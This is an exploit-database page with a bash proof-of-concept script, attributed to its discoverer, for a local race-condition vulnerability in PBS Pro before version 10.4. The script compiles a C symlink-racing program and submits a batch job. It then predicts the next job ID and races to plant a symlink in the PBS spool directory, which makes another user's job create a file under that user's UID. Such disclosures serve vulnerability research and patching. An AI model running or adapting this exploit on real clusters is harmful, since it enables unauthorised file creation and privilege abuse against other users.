PBS Pros prior to 10.4 o+w race condition

2010.07.11
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/bin/bash #set -x # PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - bartol@pwr.wroc.pl # Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID echo Compiling racer... cat << EOF | gcc -x c -o racer.x - //repeatedly tries to create arbitrary choosen link #include <unistd.h> int main(int argc, char* argv[]) { if (argc < 3) {printf("%s","Need 2 arguments!");exit(1);} while (1) symlink(argv[1],argv[2]); }; EOF if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi echo Submitting job... jobname=`echo hostname | qsub -j oe -o out.txt` sleep 2 host=`cat out.txt` if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi rm out.txt echo Next job will be run on $host echo Copying racer to $host... scp ./racer.x $host:/tmp echo Calculating job id... jobid=`echo $jobname | cut -d . -f 1` jobid=$(($jobid+1)) if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi echo Next job ID will be $jobid hostname=`echo $jobname | cut -d . -f 2` echo Running racer...submit job as different user, than push Ctrl+C after while. ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \) ssh $host -- killall racer.x echo /var/spool/pbs/spool on $host content: ssh $host -- ls -latr /var/spool/pbs/spool echo Cleaning up... ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU ssh $host -- ls -latr /var/spool/pbs/spool ssh $host -- rm -v /tmp/racer.x rm -v racer.x


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top